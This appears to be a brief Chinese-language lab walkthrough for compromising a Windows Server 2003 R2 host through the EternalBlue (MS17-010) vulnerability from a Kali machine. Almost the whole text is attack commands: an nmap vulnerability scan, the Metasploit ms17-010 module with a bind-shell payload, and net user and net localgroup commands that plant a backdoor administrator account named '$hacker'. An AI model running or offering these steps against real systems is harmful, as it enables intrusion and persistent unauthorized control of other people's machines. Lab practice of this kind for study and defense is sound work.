永恒之蓝--Windows server 2003R2

通过ms17-010模块入侵目标主机

实验拓扑：

windows server 2003 IP地址信息：100.69.246.6

kali linux IP地址信息：100.69.244.203

1：查看IP地址信息

2：在攻击者主机上使用NMAP扫描之王进行永恒之蓝漏洞的扫描

使用的命令：nmap --script=vuln 目标主机IP地址

发现目标主机存在ms17-010漏洞

3：使用MSF漏洞利用工具实施漏洞攻击

搜索ms17-010模块：

search ms17-010

设置payload:

set payload windows/shell_bind_tcp

设置攻击目标的IP地址和反弹本机的IP地址

Exploit:

使用以下两条命令进行提权:

Net user $hacker 123admiN /add   //创建用户为$hacker的账号
Net localgroup administrators $hacker /add //将账号$hacker加入到管理员权限